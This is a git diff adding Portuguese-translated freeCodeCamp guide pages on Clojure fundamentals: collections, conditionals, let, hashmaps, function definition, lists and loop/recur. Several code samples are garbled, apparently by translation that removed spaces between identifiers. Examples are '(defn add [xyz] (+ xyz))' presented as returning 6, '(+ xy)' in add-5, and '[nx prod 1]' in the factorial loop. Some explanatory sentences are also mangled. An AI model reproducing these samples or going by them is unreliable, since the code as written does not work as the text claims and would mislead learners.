+Um dos principais pontos positivos do Clojure é que ele tem alguns tipos diferentes de sequência: vetores, listas, hashmaps, _oh my!_ E cada tipo diferente de coleção tem suas próprias vantagens, desvantagens e uma série de funções úteis que operam nelas.
+
+Para entender as diferenças entre cada tipo de coleção, quando usar cada uma delas e como converter entre todas elas, pode ser necessário verificar outros tipos de coleção e lembrar-se do que as torna especiais.
+
+Como tal, esta página serve como um índice para que possa ver facilmente qualquer um dos artigos sobre estruturas de dados.
+
+*   [Listas](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417)
+*   [Vetores](http://forum.freecodecamp.com/t/clojure-vectors/18421)
+*   [Hashmaps](http://forum.freecodecamp.com/t/clojure-hashmaps/18414)
+
+| [![:point_left:](/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) | [![:book:](/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](/images/emoji/emoji_one/book.png?v=2 ":livro:")](http://forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |  
+| [Mais sobre funções](http://forum.freecodecamp.com/t/clojure-more-on-functions/18413) | [Índice](http://forum.freecodecamp.com/t/clojure-resources/18422) | [Listas](http://forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/conditionals/index.md b/client/src/guide/portuguese/clojure/conditionals/index.md
new file mode 100644
index 0000000000..816e4fc4eb
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/conditionals/index.md
@@ -0,0 +1,141 @@
+---
+title: Clojure Conditionals
+localeTitle: Condicionais de Clojure
+---
+Você não vai chegar a lugar algum em um idioma, se tudo que você pode fazer é definir funções que imprimem coisas e fazem aritmética simples. Condicionais e lógicos são parte fundamental do código que faz coisas interessantes e úteis. Tente imaginar um mundo sem lógica em programas: você não seria capaz de coisas simples, como verificar se dois números são iguais!
+
+## Operadores lógicos
+
+O Clojure, como a maioria das linguagens, possui 3 operadores lógicos: `and` , `or` e `not` . Essas funções usam booleanos ( `true` ou `false` ) como argumentos e retornam booleanos com base no que esses booleanos são. Como tudo em um Lisp, esses operadores usam a notação de prefixo, o que significa que eles podem parecer estranhos para você.
+```
+(and true false) 
+ ; => false 
+ (and true true) 
+ ; => true 
+ (or false false) 
+ ; => false 
+ (or true false) 
+ ; => true 
+ (not true) 
+ ; => false 
+ (not false) 
+ ; => true 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/XfXn8T)
+
+## E se
+
+`if` permite executar código baseado em se um booleano é `true` ou `false` . `if` no Clojure parece bastante estranho, não porque ele usa notação de prefixo, mas porque não há outra palavra-chave. Se a condição for verdadeira, ela avalia a primeira expressão. Se é falso, executa o segundo.
+```
+(if (= (+ 2 2) 4) 
+  (println "Maths works!") ; this gets evaluated if 2 + 2 = 4 
+  (println "UH OH"))       ; this gets evaluated if 2 + 2 != 4 
+ ; => Maths works! 
+ ;    nil 
+```
+
+Isso apresenta um problema: e se quisermos fazer várias coisas?
+```
+(if (= (+ 2 2) 4) 
+  (println "Maths works!") 
+  (println "Maths still works!") 
+  (println "UH OH")) 
+ ; => CompilerException java.lang.RuntimeException: Too many arguments to if 
+```
+
+Felizmente, temos a `do` a função de resolver este problema. `do` avalia múltiplas expressões, um após o outro.
+```
+(if (= (+ 2 2) 4) 
+  (do                               ; all of this gets evaluated if 2 + 2 = 4 
+    (println "Maths works!") 
+    (println "Maths still works!")) 
+  (println "UH OH")) 
+ ; => Maths works! 
+ ;    Maths still works! 
+ ;    nil 
+```
+
+**Nota:** já que `if` é, em si, uma expressão, não há necessidade de um operador ternário como em muitas linguagens semelhantes a C.
+```
+var doesMathsWork = 2 + 2 === 4 ? "Maths works!" : "UH OH"; 
+ console.log(doesMathsWork); 
+ // => Maths works! 
+```
+
+Agora que você viu como funciona, não parece tão estranho, certo? Isso é muito mais fácil de ler e entender (ignorando a falta da palavra `else` ):
+```
+(def does-maths-work (if (= (+ 2 2) 4) "Maths works!" "UH OH")) 
+ (println does-maths-work) 
+ ; => Maths works! 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/5XhcAa)
+
+## Alternativas para se
+
+O Clojure também possui algumas macros que se comportam de forma semelhante a `if` , e às vezes podem ser mais concisas.
+
+`if-not` é talvez o exemplo mais simples - é `if` invertido. Esses dois pedaços de código são exatamente os mesmos:
+```
+(def does-maths-work (if (not (= (+ 2 2) 4)) "UH OH" "Maths works!")) 
+ (def does-maths-work (if-not (= (+ 2 2) 4) "UH OH" "Maths works!")) 
+```
+
+A primeira expressão é avaliada se for falsa e a segunda é avaliada se for verdadeira. Observe que o uso `if-not` evita nidificação nossa condição dentro `not` , o que pode ajudar a tornar o nosso código mais fácil de entender.
+
+`when` é outra macro útil. Esses dois pedaços de código também são os mesmos:
+```
+(if (= (+ 2 2) 4) (do (println "Maths works!") (println "Hooray!"))) 
+ (when (= (+ 2 2) 4) (println "Maths works!") (println "Hooray!")) 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/tUVAw3)
+
+**Nota:** Não há `when/else` . `when` _só_ executa se a condição é verdadeira.
+
+`cond` permite combinar muitas condições em uma única expressão. Ele usa uma sequência de pares de expressões e expressões lógicas e avalia cada expressão lógica em ordem. Quando encontra uma expressão lógica que avalia como `true` , avalia a segunda expressão do par. Depois disso, nenhuma outra expressão é avaliada. Esse comportamento é como lógica de curto-circuito no Javascript.
+```
+(cond (= 0 1) "I'm paired with a false expression and I don't evalute.." 
+      (= 1 1) "I'm the first expression paired with a true expression!" 
+      (= 2 2) "I don't evalute even though I'm also paired with true ;_;" 
+      :else   "I evaluate if no other boolean expressions evaluate to true") 
+ ; => "I'm the first expression paired with a true expression!" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/zu5RCq)
+
+A palavra-chave `:else` pode ser usada no lugar de uma expressão lógica no último par de expressões em `cond` . Isso significa que a expressão correspondente deve ser avaliada se todas as outras expressões booleanas forem avaliadas como falsas. É o mesmo que colocar a `true` como a última expressão booleana.
+
+## Formas Especiais e Avaliação
+
+Você deve ter notado que as regras de avaliação de expressões condicionais são um pouco diferentes de outras expressões. A expressão condicional faz parte de um grupo de expressões chamado _formulários especiais_ . Isso significa que eles não seguem as regras normais de avaliação do Clojure.
+
+Como você sabe agora, uma expressão condicional avalia apenas a subexpressão que corresponde ao resultado booleano. Isso significa que o código inválido em uma expressão condicional não será avaliado em alguns casos. Considere as duas expressões `if` abaixo. Embora `(+ 1 "failure")` seja uma expressão inválida, o Clojure apenas gera uma exceção quando a condição é `false` .
+```
+(if true "sucess" (+ 1 "failure")) 
+ ; => "sucess" 
+ (if false "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/n4Ug2S)
+
+Compare isso com o comportamento do `my-if` definido abaixo:
+```
+(defn my-if [condition true-case false-case] 
+  (if condition true-case false-case)) 
+ 
+ (my-if true "sucess" (+ 1 "failure")) 
+ ; => ClassCastException java.lang.String cannot be cast to java.lang.Number ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/U7cVI4)
+
+`my-if` é uma função com regras de avaliação normais, portanto todas as subexpressões devem ser avaliadas antes de poderem ser avaliadas.
+
+O Clojure tem muitas macros úteis como essas para todos os tipos de tarefas. Tente dar uma olhada na [documentação do Clojure](https://clojuredocs.org/) e veja se você pode encontrar mais!
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-the-basics/18410) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |  
+| [Resumo](//forum.freecodecamp.com/t/clojure-the-basics/18410) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Condicionais](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/create-local-variables-with-let/index.md b/client/src/guide/portuguese/clojure/create-local-variables-with-let/index.md
new file mode 100644
index 0000000000..ee249b24d3
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/create-local-variables-with-let/index.md
@@ -0,0 +1,58 @@
+---
+title: Clojure Create Local Variables with Let
+localeTitle: Clojure cria variáveis ​​locais com Let
+---
+`let` é uma parte fundamental do Clojure. Enquanto `def` cria uma variável global, `let` criar uma variável local.
+```
+(def x 5) 
+ (println x) 
+ ; => 5 
+ ;    nil 
+ (let [x 2] 
+  (println x)) 
+ ; => 2 
+ ;    nil 
+ (println x) 
+ ; => 5 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/xcNth2)
+
+`x` neste exemplo nunca é alterado. `x` refere-se apenas a algo diferente dentro de nosso `let` binding. Isso pode ser uma maneira útil de evitar a repetição dentro de uma função.
+
+Isso é incrivelmente útil. Ter muitas variáveis ​​globais pode levar a erros desagradáveis ​​e comportamento não intencional.
+```
+(def x 5) 
+ (defn add-5 [y] (+ xy)) 
+ (add-5 5) 
+ ; => 10 
+ (defn change-x [] 
+  (def x 6)) 
+ (change-x) 
+ ; => nil 
+ (add-5 5) 
+ ; => 11 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/MFjA3C)
+
+Uh oh! Isso não está adicionando mais 5! É claro que este exemplo é um pouco bobo, mas usar muitas variáveis ​​globais pode levar a bugs que são tão assustadores quanto este.
+
+**Nota:** Não estamos _realocando_ `x` aqui, como você faria em uma linguagem semelhante a C. Estamos apenas criando uma nova variável que também é chamada x. Esta é uma ideia _muito, muito, **muito**_ má.
+
+## Múltiplas Ligações
+
+`let` também pode definir múltiplas variáveis ​​de uma só vez, e pode atribuir variáveis ​​a expressões.
+```
+(let [spam "foo" 
+      ham (str "b" "ar")] ; str is a function that concatenates strings 
+  (println spam ham))      ; or converts variables into strings. 
+ ; => foo bar 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/y5EBIM)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-conditionals/18412) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |  
+| [Condicionais](//forum.freecodecamp.com/t/clojure-conditionals/18412) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Loop e Recorrente](//forum.freecodecamp.com/t/clojure-loop-recur/18418) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/hashmaps/index.md b/client/src/guide/portuguese/clojure/hashmaps/index.md
new file mode 100644
index 0000000000..97a404e8bf
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/hashmaps/index.md
@@ -0,0 +1,104 @@
+---
+title: Clojure Hashmaps
+localeTitle: Clojure Hashmaps
+---
+Um hashmap é uma coleção que mapeia chaves para valores. Eles têm vários nomes em outros idiomas; O Python se refere a eles como dicionários, e os objetos JavaScript funcionam essencialmente como hashmaps.
+
+Um hashmap pode, como muitas coleções, ser construído de duas maneiras. Existe a função construtora:
+```
+;; Note that each argument is *prepended* to the hashmap, not appended. 
+ (def a-hashmap (hash-map :a 1 :b 2 :c 3)) 
+ a-hashmap 
+ ; => {:c 3, :b 2, :a 1} 
+```
+
+Você também pode defini-los usando um literal de hashmap. Isso geralmente é mais conciso e claro. É recomendável usar vírgulas para separar pares chave / valor em hashmaps, pois isso pode tornar os limites mais claros.
+```
+;; This hashmap is actually in the right order, unlike the one above. 
+ (def another-hashmap {:a 1, :b 2, :c 3}) 
+ another-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+```
+
+## Palavras-chave e recuperar valores de hashmaps
+
+Aguarde. O que é isso? `:a` `:b` ? `:c` ? Aqueles parecem estranhos. Essas, você vê, são palavras-chave. Eles são chamados de palavras- _chave_ porque são usados ​​com frequência como chaves em hashmaps.
+
+Por que eles são freqüentemente usados ​​como chaves? Bem, ao contrário das strings, as palavras-chave podem ser usadas como funções para extrair valores de um hashmap; Não há necessidade de `get` ou `nth` !
+```
+(def string-hashmap {"a" 1, "b" 2, "c" 3}) 
+ ("a" string-hashmap) 
+ ; => ClassCastException java.lang.String cannot be cast to clojure.lang.IFn 
+ 
+ (def keyword-hashmap {:a 1, :b 2, :c 3}) 
+ (:a keyword-hashmap) 
+ ; => 1 
+ 
+ ;; You can also pass a keyword a default value in case it's not found, just like get. 
+ (:not-in-the-hashmap keyword-hashmap "not found!") 
+ ; => "not found!" 
+```
+
+## Convertendo outras coleções para hashmaps
+
+A conversão para um hashmap é complicada. Para demonstrar, vamos tentar usá-lo como `vec` ou `seq` .
+```
+(hash-map [:a 1 :b 2 :c 3]) 
+ ; => IllegalArgumentException No value supplied for key: [:a 1 :b 2 :c 3] 
+```
+
+A função `hash-map` pensa que estamos tentando criar um hashmap com `[:a 1 :b 2 :c 3]` como uma das chaves. Veja o que acontece se dermos o número correto de argumentos:
+```
+(hash-map [:a 1 :b 2 :c 3] "foo") 
+ ; => {[:a 1 :b 2 :c 3] "foo"} 
+```
+
+Para converter uma sequência em um hashmap, você precisará usar e entender `apply` . Felizmente, isso é bem simples: `apply` essencialmente uma coleção de destrutivos antes de aplicar uma função a ela.
+```
+;; These two expressions are exactly the same. 
+ (+ 1 2 3) 
+ ; => 6 
+ (apply + [1 2 3]) 
+ ; => 6 
+```
+
+É assim que você converteria um vetor em um hashmap:
+```
+(apply hash-map [:a 1 :b 2 :c 3]) 
+ ; => {:c 3, :b 2, :a 1} 
+ 
+ ;; This is the same as: 
+ (hash-map :a 1 :b 2 :c 3) 
+ ; => {:c 3, :b 2, :a 1} 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/k9cOjo)
+
+## Atualizar um hashmap
+
+Você pode atualizar valores dentro de um hashmap usando `assoc` . Isso permite que você anexe novos pares de chave / valor ou altere os antigos.
+```
+(def outdated-hashmap {:a 1, :b 2, :c 3}) 
+ 
+ (def newer-hashmap (assoc outdated-hashmap :d 4)) 
+ newer-hashmap 
+ ; => {:a 1, :b 2, :c 3, :d 4} 
+ 
+ (def newest-hashmap (assoc newer-hashmap :a 22)) 
+ newest-hashmap 
+ ; => {:a 22, :b 2, :c 3, :d 4} 
+ 
+ ;; Note that outdated-hashmap has not been mutated by any of this. 
+ ;; Assoc is pure and functional. 
+ outdated-hashmap 
+ ; => {:a 1, :b 2, :c 3} 
+```
+
+## Quando usar um hashmap?
+
+Um hashmap é útil quando você quer dar nomes às suas variáveis. Se você já pensou em si mesmo: _"E se eu usasse um objeto ..."_ antes de sair dessa e perceber que está usando o Clojure, tente usar um hashmap.
+
+Eles também são úteis se você deseja associar dois valores diferentes entre si. Tomemos, por exemplo, uma cifra ROT13: você poderia associar `\A` com `\N` , `\B` com `\M` , etc. (Isso seria longo e chato de escrever na maioria das linguagens, mas o Clojure tem algumas funções que podem gerá-lo para você e torná-lo _divertido!_ )
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-vectors/18421) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") |  
+| [Vetores](//forum.freecodecamp.com/t/clojure-vectors/18421) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | Ser adicionado |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/index.md b/client/src/guide/portuguese/clojure/index.md
new file mode 100644
index 0000000000..90b4411383
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure
+localeTitle: Clojure
+---
+## Começando com o Clojure
+
+Antes de começar, você pode querer [instalar o Clojure](http://clojure.org/guides/getting_started) e o [Leiningen](http://leiningen.org/#install) (que é uma ferramenta para gerenciar projetos no Clojure). Isso permitirá executar o Clojure na linha de comando usando um REPL (Read-Evaluate-Print-Loop).
+
+## Definindo Variáveis
+
+O pão e a manteiga de qualquer linguagem de programação são variáveis ​​e funções. Vamos definir uma variável!
+```
+(def our-string "Hello world!") 
+```
+
+Mole-mole. Esse pedaço de código usa a macro `def` para associar uma string ( `"Hello world!"` ) A um símbolo ( `our-string` ). Poderíamos também ter definido um número, como `1` ou `1.1` , um caractere, como `\a` ou `\Z` , ou algo mais complicado, como uma lista ou uma expressão regular ( _uuuugh_ ).
+
+Note que nosso código está dentro de parênteses, como uma lista, porque tudo em um Lisp é uma lista! (Isso será muito importante quando começarmos a falar sobre macros.)
+
+## Definindo Funções
+
+Agora vamos definir uma função!
+```
+(defn hello-world [] (println our-string)) 
+```
+
+Isso é um pouco mais complexo. Como `def` , ele usa uma macro ( `defn` ) para criar uma variável - embora, dessa vez, essa variável seja uma função. O vetor vazio (um vetor é um tipo de lista - pense nisso como um array) depois do `hello-world` define os argumentos para essa função - nesse caso, não temos nenhum. O código depois disso é o que a função faz. Ele avalia `our-string` , que é igual a `"Hello world!"` e imprime no console. Vamos correr!
+```
+(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+```
+
+Você também pode escrever isto:
+```
+(def hello-world (fn [] (println our-string))) 
+```
+
+`defn` é apenas um atalho para ajudar a manter seu código conciso. `(defn ...)` e `(def ... (fn ...))` são os mesmos na prática.
+
+## Parâmetros
+
+Bem, isso foi legal, mas não foi muito emocionante. Vamos tentar uma função com parâmetros. Que tal um que adiciona 3 números?
+```
+(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+```
+
+…Aguente. `(+ xyz)` Isso parece engraçado. Bem, Lisps são escritos usando "notação de prefixo", o que significa que a função sempre vem em primeiro lugar. Como todos os operadores matemáticos em Lisp ( `+ - * /` ) são apenas funções, eles também vêm antes de seus argumentos (neste caso, `xyz` ).
+
+Você notará que o nosso vetor tem algumas coisas agora: `[xyz]` ! Sempre que uma função tiver parâmetros, você os define nesse vetor ao lado do nome da função.
+
+### Destruturação
+
+Um ótimo recurso sobre argumentos no Clojure é a desestruturação. Ele permite que você "puxe" elementos de uma lista.
+```
+(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/SWlvKn)
+
+Os argumentos para essa função são uma coleção ( `[xy]` ) e um número ( `z` ). Podemos usar a desestruturação para extrair o primeiro e segundo elementos da lista e chamá-los de `x` e `y` .
+
+### Funções com qualquer número de parâmetros
+
+Você também pode definir uma função com um número arbitrário de argumentos usando `&` .
+```
+(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/VftymP)
+
+Como você pode ver, usando `&` separamos os argumentos da nossa função em uma variável chamada `first` e uma lista de variáveis ​​chamada `rest` . Isso significa que nossa função pode ter vários argumentos!
+
+## Retornando
+
+Você pode ter notado algumas coisas estranhas. Sempre que usamos `println` , parece que `nil` está aparecendo em nossa saída. Além disso, nossa função `add` retorna `6` , mas nunca dissemos para retornar nada.
+
+No Clojure, os retornos são 'implícitos'. Se você já usou Ruby, provavelmente está familiarizado com esse conceito. Em vez de dizer à nossa função para retornar algo, ela avalia todo o código dentro de seu corpo e retorna o resultado. Nossa função `add` , por exemplo, avalia `(+ xyz)` e, em seguida, retorna esse resultado.
+
+A razão pela qual nossas funções que usam `println` output `nil` é porque `println` avaliado como `nil` . ( `nil` é como `null` ou `None` - não representa nada.)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/what-is-clojure/18419) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [Resumo](//forum.freecodecamp.com/t/what-is-clojure/18419) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Condicionais](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/lists-are-everything/index.md b/client/src/guide/portuguese/clojure/lists-are-everything/index.md
new file mode 100644
index 0000000000..189d492326
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/lists-are-everything/index.md
@@ -0,0 +1,107 @@
+---
+title: Clojure Lists They Are Everything
+localeTitle: Clojure Lists Eles são tudo
+---
+As listas são fundamentais para o Clojure. Clojure é um Lisp e Lisps foram originalmente usados ​​para processamento de listas. Tudo em um Lisp é uma lista!
+```
+(def foo "bar") 
+```
+
+Esse pedaço de código é na verdade uma lista! Então, é qualquer coisa entre dois colchetes no Clojure. Interessante, não é? Isto é o que torna o Lisps tão interessante - você pode facilmente escrever código que gera um novo código, porque gerar código é tão simples quanto fazer uma lista.
+
+## Fazendo uma lista real
+
+O problema é que, como tudo é uma lista no Clojure, algo assim retornará um erro:
+```
+(1 2 3 4 5) 
+ ; => ClassCastException java.lang.Long cannot be cast to clojure.lang.IFn 
+```
+
+Que mensagem de erro horrível. O que a REPL está tentando nos dizer é: "1 não é uma função e não pode ser feita em uma." Como tudo em um Lisp é uma lista, o primeiro item de qualquer lista é tratado como uma função, como `def` , `+` ou `str` , portanto, se escrevermos `(1 2 3 4 5)` , ele trata o primeiro elemento ( `1` ) como uma função. função, o que claramente não é.
+
+Podemos resolver isso de duas maneiras. Uma delas é usar a função `list` para construir uma lista, como usar `str` para concatenar strings juntas.
+```
+(list 1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+```
+
+Você também pode usar aspas. Citando uma lista essencialmente diz ao compilador que essa lista _não_ é uma chamada de função, e não deve avaliar qualquer código dentro dela.
+```
+'(1 2 3 4 5) 
+ ; => (1 2 3 4 5) 
+```
+
+Curiosamente, você também pode citar chamadas de função. É assim que as macros funcionam. Eles são bem complexos e merecem seu próprio artigo, então não vamos elaborar aqui.
+```
+;; Without a ' to quote it, this would return "foobarbaz". 
+ '(str "foo" "bar" "baz") 
+ ; => (str "foo" "bar" "baz") 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/6c7UxY)
+
+## Adicionando a uma lista
+
+As listas são projetadas para prepending, em vez de anexar. Não há uma maneira real de anexar a uma lista. Você pode preceder a uma lista usando os `cons` . `conj` também funciona, mas isso é para vetores, e `cons` é mais rápido para listas.
+```
+(cons 1 '(2 3 4)) 
+ ; => (1 2 3 4) 
+```
+
+## Recuperando das listas
+
+Você recupera itens das listas usando `nth` . `get` não funciona em listas, porque as listas são projetadas para acesso sequencial, em vez de acesso aleatório. Note que o `nth` funciona em vetores, mas é mais lento do que o `get` por causa disso.
+```
+(nth '(1 2 3 4) 0) 
+ ; => 1 
+```
+
+## Convertendo outras coleções em listas
+
+A função de `list` não pode converter outras coleções em listas, porque ele tenta construir uma lista usando os argumentos que ela recebe. Passing `list` a collection retornará uma lista contendo essa coleção.
+```
+(list [1 2 3 4 5]) 
+ ; => ([1 2 3 4 5]) 
+```
+
+Para converter em uma lista, use a função `seq` .
+```
+(seq [1 2 3 4 5]) 
+ ; => (1 2 3 4 5) 
+```
+
+## Sequências preguiçosas
+
+O Clojure tem um recurso brilhante chamado "sequências lentas". Uma sequência preguiçosa é uma lista cujos elementos não são gerados até que você se refira a um elemento da sequência mais tarde, avaliando todos os elementos da sequência até o que você deseja. Isso permite que você construa seqüências "infinitas"!
+
+`range` é talvez a sequência mais simples e preguiçosa. Ele contém todos os números.
+```
+(range 10) 
+ ; => (0 1 2 3 4 5 6 7 8 9) 
+ (range -5 5) 
+ ; => (-5 -4 -3 -2 -1 0 1 2 3 4) 
+```
+
+Você pode usar sequências lentas para fazer coisas bem legais, como gerar uma sequência preguiçosa de todos os números de fibonacci.
+```
+(def fibs 
+     (lazy-cat [0 1] (map + (rest fibs) fibs))) 
+ 
+ (take 10 fibs) ;; this means, "evaluate the first 10 fibonacci numbers." 
+ ; => (0 1 1 2 3 5 8 13 21 34) 
+```
+
+Este exemplo é um pouco avançado, e não se deve esperar que você entenda se você é um iniciante. É apenas um exemplo de algo legal que você pode fazer com sequências lentas. Talvez você possa descobrir isso de qualquer maneira!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [IDEOne isso!](https://ideone.com/jwpvt8)
+
+## Quando usar uma lista?
+
+Geralmente, é preferível usar um vetor para usar uma lista, pois não há risco de o compilador avaliar acidentalmente um vetor como uma função e é mais rápido acessar elementos arbitrários de um vetor. As listas são mais úteis em 3 casos:
+
+*   Gerando código usando uma macro.
+*   Gerando sequências lentas "infinitas".
+*   Prepaçando elementos para uma coleção.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior](//forum.freecodecamp.com/t/clojure-collections/18411) | [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-vectors/18421) |  
+| [Coleções](//forum.freecodecamp.com/t/clojure-collections/18411) | [Índice](//forum.freecodecamp.com/t/clojure-resources/18422) | [Vetores](//forum.freecodecamp.com/t/clojure-vectors/18421) |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/looprecur/index.md b/client/src/guide/portuguese/clojure/looprecur/index.md
new file mode 100644
index 0000000000..443090e8c4
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/looprecur/index.md
@@ -0,0 +1,97 @@
+---
+title: Clojure   Looprecur
+localeTitle: Clojure Looprecur
+---
+Você pode precisar entender [`if`](//forum.freecodecamp.com/t/clojure-conditionals/18412) e [`let`](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) entender completamente a recursão no Clojure.
+
+## `for` e `while`
+
+O Clojure não possui loops ou loops while. Isso faz sentido, se você pensar sobre isso. Um loop `for` altera uma variável e isso não é permitido no Clojure.
+```
+for (var i = 0; i < 10; i++) { 
+  console.log(i); 
+ } 
+```
+
+`i++` significa que adicionamos um à variável `i` toda vez que o loop termina - um exemplo claro de uma variável sendo mutada.
+
+`while` loops são menos dependentes de variáveis ​​variáveis, mas são, da mesma forma que os loops.
+```
+var i = 0; 
+ while (i < 10) { 
+  console.log(i); 
+  i++; 
+ } 
+```
+
+`while` loops sempre tem uma condição, como `i < 10` , e vai quebrar se essa condição não for mais verdadeira. Isso significa que eles têm que ter algum tipo de efeito colateral (como adicionar 1 a `i` ) para que a condição seja eventualmente falsa; caso contrário, o loop duraria para sempre.
+
+## Recursão
+
+Felizmente, o Clojure tem um loop de algum tipo. Esses loops usam recursão - uma função que chama a si mesma. O algoritmo recursivo mais simples é o de encontrar um fatorial numérico positivo (5 fatorial, por exemplo, igual a `5 * 4 * 3 * 2` ).
+```
+(defn fact [x] 
+  (loop [nx prod 1] ;; this works just like a 'let' binding. 
+    (if (= 1 n)  ;; this is the base case. 
+      prod 
+      (recur (dec n) (* prod n))))) 
+```
+
